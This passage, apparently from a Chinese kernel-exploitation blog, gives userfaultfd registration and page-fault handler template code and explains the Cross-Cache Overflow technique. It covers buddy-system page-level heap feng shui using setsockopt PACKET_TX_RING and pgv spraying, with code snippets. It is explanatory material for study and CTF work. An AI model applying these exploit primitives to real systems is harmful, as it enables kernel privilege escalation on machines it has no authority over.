1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void register_userfault (void * addr, unsigned long len, void (*handler)(void *)) { pthread_t thr; struct uffdio_api ua ; struct uffdio_register ur ; long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); ua.api = UFFD_API; ua.features = 0 ; if (ioctl(uffd, UFFDIO_API, &ua) == -1 ){ errExit("ioctl-UFFDIO_API" ); } ur.range.start = (unsigned long )addr; ur.range.len = len; ur.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1 ){ errExit("ioctl-UFFDIO_REGISTER" ); } int s = pthread_create(&thr, NULL , handler, (void *)uffd); if (s != 0 ) { errExit("pthread_create" ); } }
处理函数 handler 的模板如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 void * handler (void *arg) { struct uffd_msg msg ; struct pollfd pollfd ; struct uffdio_copy uc ; int nready; unsigned long uffd = (unsigned long )arg; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1 , -1 ); if (nready != 1 ) { errExit("[-] Wrong pool return value" ); } nready = read(uffd, &msg, sizeof (msg)); if (nready <= 0 ) { errExit("[-] msg error!!" ); } char *page = (char *)mmap(NULL , PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); if (page == MAP_FAILED) errExit("[-] mmap page error!!" ); memset (page, 0 , sizeof (page)); uc.src = (unsigned long )page; uc.dst = (unsigned long )msg.arg.pagefault.address & ~(PAGE_SIZE - 1 );; uc.len = PAGE_SIZE; uc.mode = 0 ; uc.copy = 0 ; ioctl(uffd, UFFDIO_COPY, &uc); return NULL ; }
cross-cache overflow + setsockopt Cross-Cache Overflow
Cross-Cache Overflow 本质上是针对 buddy system 完成对 slub 攻击的利用手法
伙伴系统 buddy system 的机制如下:
把系统中要管理的物理内存按照页面个数分为了11个组,分别对应11种大小不同的连续内存块,每组中的内存块大小都相等,且必须是2的n次幂 (Pow(2, n)),即 1, 2, 4, 8, 16, 32, 64, 128 … 1024
那么系统中就存在 2^0~2^10 这么11种大小不同的内存块,对应内存块大小为 4KB ~ 4M,内核用11个链表来管理11种大小不同的内存块(这11个双向链表都存储在 free_area 中)
在操作内存时,经常将这些内存块分成大小相等的两个块,分成的两个内存块被称为伙伴块,采用 “一位二进制数” 来表示它们的伙伴关系(这个 “一位二进制数” 存储在位图 bitmap 中)
系统根据该位为 “0” 或位为 “1” 来决定是否使用或者分配该页面块,系统每次分配和回收伙伴块时都要对它们的伙伴位跟 “1” 进行异或运算
Cross-Cache Overflow 就是为了实现跨 kmem_cache 溢出的利用手法:
slub 底层逻辑是向 buddy system 请求页面后再划分成特定大小 object 返还给上层调用者
但内存中用作不同 kmem_cache
的页面在内存上是有可能相邻的
若我们的漏洞对象存在于页面 A,溢出目标对象存在于页面 B,且 A,B 两页面相邻,则我们便有可能实现跨越不同 kmem_cache
之间的堆溢出
Cross-Cache Overflow 需要两个 page 相邻排版,此时又需要使用另一个技术:页级堆风水
页级堆风水
页级堆风水即以内存页为粒度的内存排布方式,而内核内存页的排布对我们来说不仅未知且信息量巨大,因此这种利用手法实际上是让我们手工构造一个新的已知的页级粒度内存页排布
伙伴系统采用一个双向链表数组 free_area 来管理各个空闲块,在分配 page 时有如下的逻辑:
free_area 的每个条目都是一个用于管理 2^n 大小空闲块的双向链表,每个 free_area[x] 都有一个 map 位图(用于表示各个伙伴块的关系)
当一个 m page 大小的空间将要被申请时,伙伴系统会首先在 free_area[n] 中查找(刚好满足条件的最小 n)
如果 free_area[n] 中有合适的内存块就直接分配出去,如果没有就继续在 free_area[n+1] 中查找
如果 free_area[n+1] 中有合适的内存块,就会将其均分为两份:
其中一份分配出去
另一个插入 free_area[n] 中
如果 free_area[n+1] 中也没有合适的内存块,则重复上面的过程,如果到达 free_area 数组的末端则放弃分配
如果在 bitmap 中检测到有两个伙伴块都处于空闲状态,则会进行合并,然后插入上级链表
通过伙伴系统的分配流程我们可以发现:互为伙伴块的两片内存块一定是连续的
从更高阶 order 拆分成的两份低阶 order 的连续内存页是物理连续的,由此我们可以:
向 buddy system 请求两份连续的内存页
释放其中一份内存页,在 vulnerable kmem_cache
上堆喷,让其取走这份内存页
释放另一份内存页,在 victim kmem_cache
上堆喷,让其取走这份内存页
这样就可以保证 vulnerable kmem_cache
和 victim kmem_cache
就一定是连续的
如果想要完成上述操作,就需要使用 setsockopt 与 pgv 完成页级内存占位与堆风水
setsockopt + pgv
函数 setsockopt
用于任意类型,任意状态套接口的设置选项值,其函数原型如下:
1 int setsockopt ( int socket, int level, int option_name,const void *option_value, size_t ption_len) ;
socket:套接字
level:被设置的选项的级别(如果想要在套接字级别上设置选项,就必须把 level 设置为 SOL_SOCKET)
option_name:指定准备设置的“选项”
option_value:指向存放选项值的缓冲区(用于设置所选“选项”的值)
ption_len:缓冲区的长度
返回值:若无错误发生返回 “0”,否则返回 SOCKET_ERROR 错误(应用程序可通过 WSAGetLastError()
获取相应错误代码)
利用步骤如下:
创建一个 protocol 为 PF_PACKET
的 socket
1 socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
先调用 setsockopt
将 PACKET_VERSION
设为 TPACKET_V1
/ TPACKET_V2
()
1 setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof (version));
再调用 setsockopt
提交一个 PACKET_TX_RING
1 2 3 4 5 6 req.tp_block_size = size; req.tp_block_nr = nr; req.tp_frame_size = 0x1000 ; req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof (req));
此时便存在如下调用链:
1 2 3 4 5 __sys_setsockopt() sock->ops->setsockopt() packet_setsockopt() packet_set_ring() alloc_pg_vec()
在 alloc_pg_vec
中会创建一个 pgv
结构体,用以分配 tp_block_nr
份 2^order 大小的内存页,其中 order
由 tp_block_size
决定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 static struct pgv *alloc_pg_vec (struct tpacket_req *req, int order) { unsigned int block_nr = req->tp_block_nr; struct pgv *pg_vec ; int i; pg_vec = kcalloc(block_nr, sizeof (struct pgv), GFP_KERNEL | __GFP_NOWARN); if (unlikely(!pg_vec)) goto out; for (i = 0 ; i < block_nr; i++) { pg_vec[i].buffer = alloc_one_pg_vec_page(order); if (unlikely(!pg_vec[i].buffer)) goto out_free_pgvec; } out: return pg_vec; out_free_pgvec: free_pg_vec(pg_vec, order, block_nr); pg_vec = NULL ; goto out; }
在 alloc_one_pg_vec_page
中会直接调用 __get_free_pages
向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求
当我们耗尽 buddy system 中的 low order page 后,我们再请求的页面便都是物理连续的,因此此时我们再进行 setsockopt
便相当于获取到了一块近乎物理连续的内存:
不能分配 low order page 时,程序就会从上一级的 free_area 中分配一个内存块
然后等分为两个 low order page,这两个 low order page 就是物理连续的
在 setsockopt
的流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system 的部分页面,产生“噪声”
具体的操作就是利用 setsockopt
申请大量的 1 page 内存块,部分 setsockopt
用于耗尽 low order page,而剩下的就有几率成为连续内存